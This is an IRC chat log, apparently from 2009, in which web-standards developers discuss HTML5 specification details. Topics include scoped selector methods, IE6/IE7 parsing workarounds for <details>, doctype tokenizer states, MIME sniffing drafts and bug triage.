Hixie: sure, and at Last Call time you can presumably reference absolutely anything, but it would be wise to reference something that can plausibly advance enough that it won't block PR by the time that rolls around

[18:12:02.0000] <TabAtkins>
Yeah, I'm not arguing to change querySelector.  That's done and over with.  But it brings up the possibility that we wouldn't need both a scopedSelector and scopedSelectorAll.

[18:12:03.0000] <Hixie>
othermaciej: we're like a decade or more away from that problem

[18:13:00.0000] <Lachy>
I'm confused. What are you suggesting we have

[18:14:00.0000] <TabAtkins>
Like I said in the email, my preferred solution is a function that scopes by default (or, more precisely, a function that works like jQuery's $.find()).

[18:14:01.0000] <othermaciej>
Hixie: I'll think I'll ask Adam about it, since you don't seem to have information on how this spec will progress on the IETF standards track

[18:14:02.0000] <Lachy>
that's what queryScopedSelectorAll() would do. You're being inconsistent

[18:15:00.0000] <TabAtkins>
I agree that's what queryScopedSelectorAll would do.  But you don't like that solution because it apparently necessitates queryScopedSelector, which may double into queryScopedSelectorNS in the future.

[18:16:00.0000] <Lachy>
would you state very clearly what you are suggesting?

[18:16:01.0000] <Lachy>
are you suggesting we just introduce one for selecting all?

[18:16:02.0000] <TabAtkins>
Yes.

[18:16:03.0000] <Lachy>
right. Why didn't you just say so?

[18:16:04.0000] <TabAtkins>
>_< I did.  Roundabout, I guess, but still.

[18:17:00.0000] <Lachy>
you required me to read between the lines, which I try to avoid doing as it can lead to misunderstandings

[18:18:00.0000] <Lachy>
anyway, that would make the API inconsistent, which would suck

[18:18:01.0000] <TabAtkins>
Well, if we go with additional methods, it'll either be inconsistent or bloated.

[18:19:00.0000] <Lachy>
also, I can probably avoid introducing the NS methods by either not supporting namespaces, or finding an alternative solution that doesn't introduce new methods

[18:19:01.0000] <TabAtkins>
So would 2 new methods be "too much"?

[18:19:02.0000] <TabAtkins>
(queryscopedSelector and $1All)

[18:21:00.0000] <Lachy>
by themselves, they wouldn't. But we'd need to be careful about what else they could lead to the introduction of. It's about thinking ahead and avoiding unnecessary complexity

[18:22:00.0000] <Lachy>
and to be honest, they are they 2nd best of the 4 available options, IMHO

[18:24:00.0000] <TabAtkins>
I don't think there are any other direct variations of querySelector that can possibly exist, outside of the NS versions.

[18:24:01.0000] <Lachy>
I suppose they would also only need to be supported on Element nodes, not Document or DocumentFragment

[18:24:02.0000] <TabAtkins>
Plus NodeLists.

[18:25:00.0000] <Lachy>
no

[18:26:00.0000] <Lachy>
NodeLists don't need to support the methods. That use case has been addressed differently

[18:26:01.0000] <Lachy>
document.querySelectorAll(":reference>p", list);

[18:26:02.0000] <TabAtkins>
Ah, k.

[18:27:00.0000] <Lachy>
hmm. maybe that does mean we'd need the scoped methods on Document and DocumentFragment

[18:27:01.0000] <Lachy>
to do this

[18:27:02.0000] <Lachy>
document.queryScopedSelectorAll(">p", list)

[18:30:00.0000] <TabAtkins>
Yeah, if you want the shortened form to be ubiquitous.

[18:30:01.0000] <TabAtkins>
But then what would document.queryScopedSelectorAll(">p") mean?  What's the scope?

[18:31:00.0000] <TabAtkins>
Gah, all that typing is why I hate ordinary js, though.  >_<

[18:36:00.0000] <TabAtkins>
Lachy: is it intended that :reference ever be usable outside of a scoped selector?

[18:39:00.0000] <Hixie>
whoever was asking me about rendering <details> -- i changed the spec so that it's easier to do from script

[18:43:00.0000] <TabAtkins>
I like the stricter definition, Hixie.

[18:43:01.0000] <Hixie>
how do you mean, "stricter"?

[18:43:02.0000] <TabAtkins>
Previously I thought it was probably going to become common to just put a <dt> without a <dd>.

[18:44:00.0000] <Hixie>
ah

[18:46:00.0000] <TabAtkins>
So I guess you're keeping <dt>/<dd> for <figure> and <details>, now that Leif found a talisman that makes IE6 and IE7 build a proper tree?

[18:49:00.0000] <Hixie>
i'm just going through the bugs, so if nobody filed a bug asking for them to be removed, they're not changing, and if someone did, they i'll look at their arguments and see if they are compelling.

[18:51:00.0000] <TabAtkins>
/me goes to file a bug.  He's not sure it's compelling, but thinks it should be considered.

[18:52:00.0000] <Hixie>
do you think it should be considered more than it was when we first used <dt>?

[18:52:01.0000] <Hixie>
i mean, that took about a year of consideration

[18:53:00.0000] <Hixie>
btw, thanks to the various people who occasionally go and resolve bugs that are invalid or duplicate or whatever

[18:53:01.0000] <Hixie>
it's much appreciated

[18:53:02.0000] <Hixie>
everyone should feel free to go ahead and close bugs that are based on misunderstandings or that can't be changed for whatever reason

[19:05:00.0000] <TabAtkins>
Hixie: From IRC chatter, no one realized that IE6 and IE7 were generating non-tree DOMs when <dt> or <dd> were used outside of <dl>.  So yeah, some more consideration seems warranted, given the apparently new information.

[19:06:00.0000] <Hixie>
IE6 and IE7 do all kinds of random stuff

[19:06:01.0000] <Hixie>
you need basic scripts just to include a new element

[19:09:00.0000] <TabAtkins>
Yeah, but that basic script (just 200 bytes or so) makes them work great, and the code itself is understandable, even if the reasoning behind it is crazy.

[19:10:00.0000] <TabAtkins>
On the other hand, the talisman to make IE6 and 7 generate tree DOMs when <dt> is thrown around is completely psycho and makes no sense whatsoever.  It just trips some mysterious parse flag somewhere in the browser, and we hope that it doesn't cause any ill effects.

[19:11:00.0000] <Hixie>
/me shrugs

[19:12:00.0000] <Hixie>
given that i wasn't expecting this element to be useful for years, that there is a problem using the element in the obsolete 25% of the market doesn't really worry me that much

[19:15:00.0000] <TabAtkins>
I expect <details> to be js-usable immediately (with a little elem.open feature test to allow browsers to slide in native functionality seamlessly), so that does still worry me.

[19:16:00.0000] <TabAtkins>
And IE6 is 20-25%, but IE7 is 25-30% (at least according to my company's website, which receives mostly nontechnical visitors), so that's a good half of the web that we're excluding.

[19:20:00.0000] <Hixie>
you have IE6 at 25%?!

[19:20:01.0000] <Hixie>
what kind of site are you running?

[19:20:02.0000] <TabAtkins>
www.igofigure.com

[19:20:03.0000] <TabAtkins>
We sell membership management software for small fitness clubs.

[19:21:00.0000] <Hixie>
i guess fitness clubs have poor IT staff! :-)

[19:21:01.0000] <TabAtkins>
Like you wouldn't believe.

[19:21:02.0000] <Hixie>
that's way higher than average for IE6

[19:21:03.0000] <Hixie>
how depressing

[19:21:04.0000] <TabAtkins>
/me was tech support for his company before he became webmaster.

[19:31:00.0000] <TabAtkins>
/me found a bug from Shelley that he could comment on.

[19:32:00.0000] <TabAtkins>
Luckily I don't actually care about IE6, and encourage visitors to upgrade.  But still, IE7's going to be an issue for a while yet.

[19:33:00.0000] <TabAtkins>
Also luckily, some of my intranet apps are purposely not being made compatible with IE7, so I can force everyone in the company to upgrade.  Less people using IE7 = less people realizing that something doesn't look right in IE7, and complaining to me.

[19:34:00.0000] <TabAtkins>
(Well, let me rephrase that.  I'm not going out of my way to make them incompatible.  I'm simply not caring when I use good markup that they don't understand.)

[20:02:00.0000] <Hixie>
TabAtkins: http://www.w3.org/Bugs/Public/show_bug.cgi?id=7657

[20:02:01.0000] <Hixie>
TabAtkins: apparently you were ahead of yourself

[20:03:00.0000] <Hixie>
:-)

[20:03:01.0000] <TabAtkins>
Hmm?  I just did that half an hour ago or so.

[20:03:02.0000] <Hixie>
oh, i see

[20:03:03.0000] <Hixie>
sorry, missed that the last comment was recent

[20:03:04.0000] <TabAtkins>
Hehe.

[20:04:00.0000] <Hixie>
i really don't understand why <div> isn't suitable for the short term

[20:09:00.0000] <TabAtkins>
'cause we like being fancy, obviously.  And using HTML5 to the fullest is fancy.

[20:11:00.0000] <othermaciej>
TabAtkins: it might be a good idea to have a bug for the IE6/IE7 parsing issue that is separate from Shelley's bug about her broad philosophical concerns about element semantics being redefined

[20:12:00.0000] <gsnedders>
hmm, keyboard backlight won't come on.

[20:12:01.0000] <othermaciej>
TabAtkins: the conditional <object> hack seems less severe to me than the issues with <legend> at least

[20:13:00.0000] <TabAtkins>
othermaciej: Agreed that it's lesser.  But it's worse than the createElement hack.

[20:13:01.0000] <othermaciej>
TabAtkins: to me it would probably outweigh reluctance to add elements, but I can see that either view is reasonable

[20:13:02.0000] <othermaciej>
TabAtkins: sure, something you have to add at every use is worse than a one-time script

[20:14:00.0000] <TabAtkins>
Well, you don't have to add it at every use.  It's a once-per-page think, just like the createElement hack.  But it's one that can't be externalized to a <script>, which is really annoying.

[20:16:00.0000] <TabAtkins>
Hixie: Should I reopen the bug/create a new bug to introduce the fourth option to deal with compat issues (a @caption attribute to identify the <legend>/<details> caption)?

[20:16:01.0000] <othermaciej>
TabAtkins: once-per-page?

[20:16:02.0000] <TabAtkins>
Or should I take your response literally and decide if I want to escalate this to the chairs?

[20:16:03.0000] <othermaciej>
TabAtkins: anywhere in the page?

[20:17:00.0000] <TabAtkins>
othermaciej: Nah, somewhere in the head.  Probably at the bottom of the head, but I'm not sure - I haven't done extensive testing with it.

[20:17:01.0000] <othermaciej>
TabAtkins: you can't document.write() it from a <script?

[20:17:02.0000] <othermaciej>
er, <script>?

[20:17:03.0000] <TabAtkins>
Oh, hm...

[20:17:04.0000] <TabAtkins>
Let me try.

[20:17:05.0000] <Hixie>
TabAtkins: per the comment i added on the other bug, if you think this should change, please escalate it to the chairs (unless of course you have new information that would affect my conclusions here)

[20:17:06.0000] <othermaciej>
TabAtkins: if you can, would that remove your objection, since it's no worse than the createElement() hack?

[20:17:07.0000] <TabAtkins>
Yes it would.

[20:18:00.0000] <Hixie>
as i said before, personally, i think it's fine to just use <div>s for the next few years just like the past few

[20:18:01.0000] <TabAtkins>
Any js-based hack that I can bundle up together into a single file is acceptable to me, as long as the perf hit is low.

[20:19:00.0000] <TabAtkins>
othermaciej: Any idea if you can document.write() a conditional comment?

[20:19:01.0000] <TabAtkins>
/me will test, but if he needs to go ahead and use a different approach already, he might as well know.

[20:19:02.0000] <othermaciej>
TabAtkins: I don't know, but is the conditional comment essential? couldn't the document.write be conditional based on running in old IE?

[20:20:00.0000] <othermaciej>
TabAtkins: I bet it would work, but you may have to split the tokens of the conditional comment into separate strings to stop IE from recognizing it as such

[20:20:01.0000] <TabAtkins>
Yeah it can be, but the hacks to reliably detect IE6 and 7 are sorta weird.  I guess Dean Edwards's stuff works pretty well.

[20:20:02.0000] <othermaciej>
(same way you need to document.write "</scr" + "ipt>"

[20:21:00.0000] <othermaciej>
actually, in an external script it might not matter

[20:21:01.0000] <othermaciej>
anyway I am curious about the results

[20:25:00.0000] <miketaylr>
TabAtkins: do you have a link for this comment hack? haven't seen/heard of this before.

[20:25:01.0000] <miketaylr>
might be nice to add to Modernizr

[20:25:02.0000] <TabAtkins>
miketaylr: Trying to find it in the archives.  One moment.

[20:25:03.0000] <miketaylr>
TabAtkins: ty

[20:28:00.0000] <TabAtkins>
miketaylr: http://lists.w3.org/Archives/Public/public-html/2009Sep/0802.html

[20:28:01.0000] <miketaylr>
thanks, sir.

[20:38:00.0000] <TabAtkins>
Success!

[20:38:01.0000] <TabAtkins>
Conditional comments can be added via document.write(), and it does trigger the appropriate parser behavior.

[20:39:00.0000] <miketaylr>
nice.

[20:40:00.0000] <TabAtkins>
Now, the only question is if the fact that it writes a "</head>" into the document causes problems with in-head content that comes after it.

[20:41:00.0000] <TabAtkins>
Hmm, yes, it seems to drop <link>s on the floor that come after the script has run.

[20:41:01.0000] <TabAtkins>
So this has to be run as the last element in <head>.

[20:49:00.0000] <TabAtkins>
Well, actually, you can omit the "</head>" from the write, if you avoid putting <head> in your document at the normal place.

[20:50:00.0000] <TabAtkins>
Though it still drops <link>s on the floor that come after it, so there's not much of a difference I suppose.

[23:30:00.0000] <mpilgrim>
fun fact of the day: when served as "text/html", IE will treat the following markup as a feed:

[23:30:01.0000] <mpilgrim>
<!-- <rdf:RDF --> <!-- http://www.w3.org/1999/02/22-rdf-syntax-ns# --> <!-- http://purl.org/rss/1.0/ -->

[23:40:00.0000] <Hixie>
/me checks in an example that uses syntax that is the least pretty syntax of all the examples checked in so far

[23:40:01.0000] <Hixie>
othermaciej: 5c in the e-mail you sent me refers to 5c where i think it means 5d

[23:41:00.0000] <othermaciej>
Hixie: you are right

[23:43:00.0000] <Hixie>
for step 9a, it would be good if there was some way for us to record that in some way that can be easily found

[23:43:01.0000] <Hixie>
e.g. a keyword in the bug

[23:44:00.0000] <Hixie>
for 10 i don't think a keyword is needed, since i just always look at the comments from the last one i wrote to the end if a bug is open

[23:45:00.0000] <Hixie>
for 5c, btw, i think people might need to be given privs to do that, so maybe we should also have people checking the comments for people writing comments on resolved bugs to make sure they get reopened

[23:45:01.0000] <Hixie>
i've missed a few in the past that i found by luck

[23:45:02.0000] <othermaciej>
keyword for 9a seems good

[23:45:03.0000] <Hixie>
i've tried to change my filters to make sure i find more, but i might still miss some if there's no systematic solution

[23:45:04.0000] <Hixie>
other than that, looks good

[23:45:05.0000] <Hixie>
do you want e-mail reply?

[23:46:00.0000] <othermaciej>
for 10 I'd rather keep the keyword for WG tracking purposes, even if you can do without it

[23:46:01.0000] <Hixie>
k

[23:46:02.0000] <othermaciej>
email reply would be handy so I don't forget

[23:46:03.0000] <othermaciej>
since I'm about to head home

[23:46:04.0000] <othermaciej>
(forced myself to stay at work while I wrote this)

[23:48:00.0000] <Hixie>
SENT

[23:48:01.0000] <Hixie>
ER

[23:48:02.0000] <Hixie>
sent

[23:50:00.0000] <mpilgrim>
http://wearehugh.com/public/2009/09/rss10-sniffing.txt

[00:17:00.0000] <hsivonen>
what's the conflict between CORS Origin and Sec-From (if Sec-From were named Origin)?

[00:20:00.0000] <othermaciej>
Sec-From is now named Origin

[00:21:00.0000] <hsivonen>
oh

[00:21:01.0000] <hsivonen>
I guess the Mozilla wiki is out of date then

[00:22:00.0000] <othermaciej>
this is a recent occurrence

[00:22:01.0000] <hsivonen>
which vendors are on board?

[00:27:00.0000] <othermaciej>
that I don't know - I did not follow the recent discussion closely

[00:30:00.0000] <othermaciej>
there was a thread on public-webapps and ietf-http-wg

[01:30:00.0000] <mpilgrim>
http://code.google.com/p/mimesniff/

[02:24:00.0000] <Hixie>
annevk2: when does 'abort' fire?

[02:24:01.0000] <zcorpan_>
what does opera 9.x do with <div><video style=color:red><source></video></div><p>test

[02:33:00.0000] <zcorpan_>
hmm no difference

[02:33:01.0000] <hsivonen>
hmm. why does Opera on Mac load /System/Library/TextEncodings/Unicode Encodings.bundle/Contents/MacOS/Unicode Encodings

[02:33:02.0000] <hsivonen>
isn't Opera supposed to have its own decoders like Firefox?

[02:40:00.0000] <Philip`>
mpilgrim: The project really needs a logo of a mime being sniffed

[02:40:01.0000] <hsivonen>
sigh. -bash: fork: Resource temporarily unavailable

[02:40:02.0000] <hsivonen>
I guess the OS is close to being horked

[02:41:00.0000] <hsivonen>
I don't even have a large number of processes

[02:41:01.0000] <Hixie>
do you have some process not reaping its children or something?

[02:41:02.0000] <zcorpan_>
dean can put the video in a <table> or a <button> for opera 9.x compat

[02:42:00.0000] <hsivonen>
Hixie: not as far as I can tell from the process list

[02:42:01.0000] <Hixie>
weird

[02:42:02.0000] <hsivonen>
Hixie: but Opera got horked and bounced like crazy back and forth in the Dock

[02:42:03.0000] <Philip`>
mpilgrim: Isn't the <BODY test entirely redundant with <B and therefore unnecessary and wasteful?

[02:42:04.0000] <hsivonen>
so maybe it used up a zillion pids

[02:42:05.0000] <hsivonen>
dunno

[02:43:00.0000] <hsivonen>
/me reboots

[02:43:01.0000] <Hixie>
Philip`: abarth is going to be changing that

[02:44:00.0000] <Hixie>
to look for <BODY and <B followed by a space or a >

[02:44:01.0000] <Hixie>
(for some definition of "space")

[02:44:02.0000] <Philip`>
Oh

[02:46:00.0000] <annevk2>
Hixie, when the user stops the loading of something I believe

[02:46:01.0000] <Hixie>
that's basically as vague as i got

[02:50:00.0000] <hsivonen>
the only part I care about is that abort doesn't emit the EOF token

[02:51:00.0000] <Hixie>
does not and should, or should not and does?

[02:51:01.0000] <hsivonen>
should not and probably does not

[02:52:00.0000] <Hixie>
i doubt it's especially well-defined at this point frankly

[02:53:00.0000] <annevk2>
in theory it can dispatch everywhere were load/error is dispatched

[02:53:01.0000] <hsivonen>
It just occurred to me that I've forgotten to mark scripts malformed if they are on the tree builder stack when an abort happens

[02:53:02.0000] <hsivonen>
in fact, now that I think about it, I have no mechanism capable of doing that sort of thing after abort

[02:54:00.0000] <hsivonen>
I wonder if it's possible for an onabort script to do evil things with parser-inserted but unexecuted partial script elements

[02:55:00.0000] <Hixie>
frankly interop for 'abort' seems not very important

[02:55:01.0000] <hsivonen>
I was thinking about security

[02:56:00.0000] <hsivonen>
but the kind of foot shooting I can imagine arising from this could be achieved by other more direct foot shooting activities

[02:59:00.0000] <hsivonen>
/me wonders if XCode and Terminal.app still go crazy under Snow Leopard when an app being debugged in gdb crashes

[03:44:00.0000] <othermaciej>
hi everyone

[03:45:00.0000] <Hixie>
hey

[03:46:00.0000] <othermaciej>
I think I need to duck out of the "resource" discussion, because the more I participate, the more confused I get about what is what

[03:47:00.0000] <jgraham>
/me thought he was the only one

[03:49:00.0000] <Hixie>
my main confusion is over what the problem is

[03:49:01.0000] <Hixie>
as in, what needs fixing in the spec

[03:51:00.0000] <zcorpan_>
Hixie: try removing some text, so that it just says "A URL is a string."

[03:52:00.0000] <Hixie>
i don't think that would help most authors

[03:53:00.0000] <Hixie>
http://www.w3.org/Bugs/Public/show_bug.cgi?id=7726 - are we seriously considering adding a whole tokeniser state for this?

[03:53:01.0000] <Hixie>
two states, in fact, one for public and one for private

[03:54:00.0000] <Hixie>
er, system, not private

[03:59:00.0000] <jgraham>
Hixie: It doesn't seem like too big a deal to me

[04:00:00.0000] <jgraham>
To add the extra states

[04:00:01.0000] <Philip`>
States are cheap

[04:01:00.0000] <annevk2>
seems pointless to me

[04:02:00.0000] <annevk2>
Hixie, elemement

[04:02:01.0000] <annevk2>
oh, and "publicate date"

[04:02:02.0000] <annevk2>
time to sleep? :)

[04:03:00.0000] <Hixie>
noooo

[04:04:00.0000] <othermaciej>
Hixie: I think the spec should just make all doctypes that trigger standards mode conforming

[04:04:01.0000] <Hixie>
that's all unknown doctypes

[04:05:00.0000] <jgraham>
On an unrelated topic did I ever say that someone should implment mailing list software that limits the rate at which it accepts replies?

[04:05:01.0000] <Hixie>
othermaciej: you want <!DOCTYPE HTML PUBLIC "SVG"> to be conforming?

[04:06:00.0000] <othermaciej>
Hixie: are there any bogus doctypes that are likely to indicate an actual error by the author?

[04:07:00.0000] <Hixie>
define "error"

[04:07:01.0000] <othermaciej>
likely to indicate a typo that would affect the content in some bad or unintended way

[04:07:02.0000] <annevk2>
othermaciej, I think "minted" DOCTYPEs that trigger standards mode would be more slightly better

[04:07:03.0000] <annevk2>
s/more//

[04:08:00.0000] <othermaciej>
annevk2: you mean any that have ever been officially specified?

[04:08:01.0000] <annevk2>
yeah

[04:08:02.0000] <Hixie>
i don't really see any point allowing anything other than <!DOCTYPE HTML> personally

[04:08:03.0000] <othermaciej>
that's reasonable too

[04:08:04.0000] <othermaciej>
I just don't see the point in disallowing other things

[04:09:00.0000] <annevk2>
it makes the point that HTML is versionless stronger I think

[04:09:01.0000] <othermaciej>
its highly likely new content will use <!DOCTYPE html> cause it is short and memorable, and part of HTML5's branding

[04:09:02.0000] <annevk2>
and makes using new features in old templating systems easier

[04:09:03.0000] <othermaciej>
so its not like it's a huge aid to authors

[04:09:04.0000] <annevk2>
(while remaining conforming)

[04:21:00.0000] <zcorpan_>
some of the longer doctypes trigger quirks mode or limited-quirks mode, and it's non-obvious why <!doctype html public "" "" xyz> is allowed but <!doctype html public "" xyz> is not

[04:21:01.0000] <zcorpan_>
if all doctypes that trigger standards mode were to be allowed

[04:26:00.0000] <othermaciej>
ok, I see how that might be confusing

[04:26:01.0000] <jgraham>
/me thinks the current doctype situation is fine and far from important enough to spend more time changing

[04:27:00.0000] <hsivonen>
I don't like new states but we are so deep into the abyss exceeding 8000 bytecodes that I stopped caring much

[04:28:00.0000] <hsivonen>
besides, the solution for <!-- in JS string literal will translate to a bunch of states anyway

[04:28:01.0000] <Hixie>
ok i can make <!DOCTYPE HTML PUBLIC""> and <@DOCTYPE HTML SYSTEM""> trigger additional parse errors; do we also want a state to pointlessly catch the <!DOCTYPE HTML PUBLIC """"> case?

[04:28:02.0000] <jgraham>
I don't have a strong opinion

[04:29:00.0000] <hsivonen>
Hixie: were these all valid in SGML/

[04:29:01.0000] <hsivonen>
?

[04:29:02.0000] <hsivonen>
if they were, why do we care about XML?

[04:29:03.0000] <Hixie>
hsivonen: seems like you could stick the doctype parser into a separate method to avoid the 8000 byte limit, since a ton of these states are just there

[04:29:04.0000] <Hixie>
no idea what SGML says

[04:29:05.0000] <Hixie>
i don't have a copy

[04:30:00.0000] <hsivonen>
Hixie: anyway, if you require a space between SYSTEM and "", I think it's logical to require a space between "" and ""

[04:31:00.0000] <hsivonen>
notes that the Super Friends didn't notice the permitted 'sloppiness' here

[04:31:01.0000] <zcorpan_>
/me thinks the Super Friends didn't read the parsing section

[04:32:00.0000] <Hixie>
i wonder if they'll ever send their feedback

[04:33:00.0000] <Hixie>
oh hey i can do the """" without a new state

[04:33:01.0000] <zcorpan_>
yay

[04:33:02.0000] <hsivonen>
Hixie: I'm planning on writing a Python or Perl munger that sticks all the doctype states in a separate method

[04:33:03.0000] <Hixie>
cool

[04:34:00.0000] <zcorpan_>
hsivonen: or you could move the doctype tokenization into the tree builder

[04:34:01.0000] <zcorpan_>
and have the tokenizer just act on "<!doctype", eat everything until the next ">"

[04:35:00.0000] <hsivonen>
zcorpan_: I'd rather not go there

[04:35:01.0000] <zcorpan_>
ok

[04:35:02.0000] <Hixie>
aw, crap, i can't after all

[04:36:00.0000] <Hixie>
it would make <!DOCTYPE HTML PUBLIC "" > a parse error because of the space

[04:36:01.0000] <hsivonen>
aside, for the tokenizer loop it would nice to have some kind of compiler pragmas that allowed me to mark sections of one huge method in a Shark-sensitive way

[04:36:02.0000] <hsivonen>
so that I could have distinct Shark symbols for each tokenizer state even if they are all in one method

[04:36:03.0000] <hsivonen>
now the tokenizer loop is just one huge black box in Shark

[04:37:00.0000] <hsivonen>
but then even if I discovered that a state is slow, there aren't many degrees of freedom to do anything about it

[04:38:00.0000] <Philip`>
Can't you get a profile showing time spent in individual lines of code?

[04:39:00.0000] <Philip`>
(and then write a script to sum the values within arbitrary regions)

[04:39:01.0000] <hsivonen>
dunno

[04:39:02.0000] <hsivonen>
the point is getting nice trees in Shark

[04:39:03.0000] <hsivonen>
not writing post-processing scripts myself

[04:54:00.0000] <zcorpan_>
hmm, when canvas support is disabled, should getContext('2d') throw?

[04:55:00.0000] <hsivonen>
zcorpan_: when would canvas support be disabled?

[04:55:01.0000] <Hixie>
no

[04:55:02.0000] <Hixie>
nobody would test for that

[04:55:03.0000] <zcorpan_>
hsivonen: the spec now allows it to be disabled

[04:55:04.0000] <annevk2>
hsivonen, when images are disabled

[04:55:05.0000] <hsivonen>
what's the point?

[04:55:06.0000] <annevk2>
at least, that'd make the most sense to me

[04:55:07.0000] <Hixie>
hsivonen: no idea, but opera people apparently want it

[04:55:08.0000] <Hixie>
and it costs us nothing

[04:55:09.0000] <hsivonen>
Hixie: hmmkay...

[04:55:10.0000] <hsivonen>
Hixie: well, it cost other browsers something if there's code to write

[04:56:00.0000] <zcorpan_>
i guess if people start using canvas for ads...

[04:56:01.0000] <Hixie>
there's no code to write

[04:56:02.0000] <annevk2>
hsivonen, such disabling features are not required

[04:58:00.0000] <zcorpan_>
/me wonders whether Hixie detects opera people from their IP in the bugs

[04:59:00.0000] <hsivonen>
zcorpan_: you should use Tor to file bugs :-)

[05:00:00.0000] <Hixie>
i detect them by their suggesting of features that would only make sense if the UA had poor UI :-P

[05:01:00.0000] <hsivonen>
I guess disabling <canvas> rendering makes some sense in the VoiceOver world where you'd want low-vision users (or sighted people assisting a blind user) see the VO focus

[05:01:01.0000] <zcorpan_>
hsivonen: i didn't file the bug

[05:02:00.0000] <zcorpan_>
i wonder why Julian reopened http://www.w3.org/Bugs/Public/show_bug.cgi?id=7726

[05:02:01.0000] <hsivonen>
in the world where canvas descendants are the AT-exposed alternative

[05:07:00.0000] <Hixie>
woo, Zarro Boogs

[05:07:01.0000] <hsivonen>
excellent!

[05:08:00.0000] <Hixie>
now if i can keep it below 10 for another 3 days, that's a 1.0 on my "get bugs below 10" OKR

[05:08:01.0000] <hsivonen>
OKR?

[05:08:02.0000] <Hixie>
Objective and Key Result

[05:08:03.0000] <Hixie>
how google does quarterly goals

[05:09:00.0000] <zcorpan_>
/me plans to file 10 bugs while Hixie is asleep

[05:09:01.0000] <jgraham>
zcorpan_: Only do that if you want a new status "resolved: Invalid (filed by opera employee)"

[05:09:02.0000] <Hixie>
hah

[05:10:00.0000] <zcorpan_>
heh

[05:11:00.0000] <hsivonen>
speaking of quarterly goals, I can has off-the-main-thread parsing!

[05:11:01.0000] <hsivonen>
woohoo!

[05:11:02.0000] <hsivonen>
cnn.com broken but simpler pages work

[05:20:00.0000] <othermaciej>
I'm glad I don't have a quarterly goal to get the issue count below any particular number

[05:20:01.0000] <othermaciej>
(other than of the purely personal sort)

[05:22:00.0000] <Hixie>
i set this goal myself :-)

[05:22:01.0000] <Hixie>
okrs are self-assigned

[05:24:00.0000] <Hixie>
anyone know how <applet> works?

[05:25:00.0000] <zcorpan_>
i know that <applet> is annoying

[05:26:00.0000] <annevk2>
I once had the noble idea of finding out but then couldn't find the Java stuff I needed and dropped the idea

[05:26:01.0000] <zcorpan_>
it always instantiates the java plugin, but i guess that could be optimized away if there's no code="" and no <param>s or something

[05:27:00.0000] <Hixie>
any idea what it does after instantiating java?

[05:28:00.0000] <othermaciej>
runs the specified applet

[05:28:01.0000] <zcorpan_>
i think it's pretty much the same as <object type=application/x-java-applet>, except it doesn't fall back

[05:29:00.0000] <zcorpan_>
but i haven't tested it much

[05:29:01.0000] <Hixie>
does codebase="" actually work with it?

[05:29:02.0000] <othermaciej>
and passes the param values to the applet

[05:30:00.0000] <zcorpan_>
i think codebase="" and <param name=codebase> might be the same

[05:30:01.0000] <zcorpan_>
but haven't tested!

[05:30:02.0000] <zcorpan_>
or i have but don't remember

[05:33:00.0000] <Hixie>
does the browser do any fetching of any kind?

[05:33:01.0000] <Hixie>
for applets?

[05:34:00.0000] <othermaciej>
by "the browser" do you mean as distinct from the Java plugin doing it?

[05:34:01.0000] <othermaciej>
cause obviously someone is loading the applet at some point

[05:34:02.0000] <Hixie>
yes

[05:34:03.0000] <Hixie>
my real question is, do the browsers get to add the Origin header, or does Sun

[05:36:00.0000] <othermaciej>
I don't think all browsers interface <applet> to a Java implementation in the same way, so I am not sure if there is a single answer

[05:37:00.0000] <Hixie>
k

[05:37:01.0000] <Hixie>
hm, crap

[05:37:02.0000] <Hixie>
next thing on my list is the indexes

[05:37:03.0000] <Hixie>
i was hoping those would do themselves somehow

[05:38:00.0000] <annevk2>
I looked into it but it wasn't that simple

[05:38:01.0000] <annevk2>
it's not even easy to get a single list of elements extracted from the spec

[05:38:02.0000] <Hixie>
yeah

[05:38:03.0000] <annevk2>
let alone also getting their metadata

[05:38:04.0000] <annevk2>
you should add some annotations maybe

[05:38:05.0000] <zcorpan_>
you should use microdata

[05:38:06.0000] <Hixie>
i guess i'll spec microdata then use that, yeah

[05:39:00.0000] <jgraham>
Hmm isn't the spec supposed to be valid HTML4?

[05:39:01.0000] <jgraham>
Or did W3C see sense?

[05:39:02.0000] <Hixie>
only for w3c

[05:39:03.0000] <Hixie>
i can strip all this stuff out before it goes to w3c

[05:39:04.0000] <jgraham>
Cunning

[05:39:05.0000] <zcorpan_>
or you can convert it into valid HTML4+RDFa for w3c

[05:40:00.0000] <Hixie>
i don't think that passes their pubrules either

[05:41:00.0000] <zcorpan_>
snap

[05:42:00.0000] <annevk2>
hmm yeah, what is itemtype Hixie?

[05:43:00.0000] <Hixie>
same as item="" today

[05:43:01.0000] <Hixie>
http://damowmow.com/playground/microdata/004/introduction

[05:43:02.0000] <annevk2>
oh, I thought that turned into itemscope

[05:47:00.0000] <Hixie>
it also did

[05:47:01.0000] <Hixie>
it got split in two

[05:47:02.0000] <Hixie>
value goes into itemtype=""

[05:47:03.0000] <Hixie>
ok i really should go to sleep

[05:47:04.0000] <Hixie>
nn

[05:48:00.0000] <jgraham>
/me discovers someone who has wrapped almost their entire ecmascript game in a "with" block

[05:49:00.0000] <annevk2>
Hixie, nn, and also, weak

[05:49:01.0000] <annevk2>
jgraham, don't let TC39 hear it

[05:51:00.0000] <jgraham>
annevk2: It is almost enough to make *me* cry. I hate to think how TC39 would react...

[05:52:00.0000] <othermaciej>
that's a great way to make the whole thing run very slowly

[05:52:01.0000] <hsivonen>
is 'with' JIT poison?

[05:52:02.0000] <othermaciej>
worse than that

[05:53:00.0000] <othermaciej>
actually wrapping all the code with a "with" might be less bad than using "with" in an inner loop

[05:53:01.0000] <othermaciej>
it prevents mapping identifiers to variable slots at "compile" time (where "compile" might mean just to bytecode)

[05:54:00.0000] <mpilgrim_>
Philip`: possibly (<body vs <b). i think there was discussion of removing the <b test in draft-02

[05:57:00.0000] <mpilgrim>
oh look, draft-02 is already out

[05:57:01.0000] <mpilgrim>
i guess i mean draft-03 then

[05:59:00.0000] <annevk2>
I guess I should review abarth's drafts

[06:00:00.0000] <annevk2>
there's a mime-sniff 3?

[06:00:01.0000] <annevk2>
annoying that tools.ietf.org always lags a bit behind

[06:00:02.0000] <annevk2>
it's by far the most useful interface for IETF stuff

[06:02:00.0000] <annevk2>
Adam has like 6 different email addresses

[06:10:00.0000] <mpilgrim>
he just published draft-02 today

[06:10:01.0000] <mpilgrim>
but it doesn't include the new algorithm i wrote to detect RSS1.0-served-as-text/html

[06:11:00.0000] <mpilgrim>
and it doesn't change the sniffing of "<b", which he was discussing with me off-list

[06:14:00.0000] <annevk2>
it would be nice if the IETF switched to something like dev.w3.org instead of this versioned drafts stuff

[06:15:00.0000] <annevk2>
especially when in development this is really cumbersome model

[06:16:00.0000] <mpilgrim>
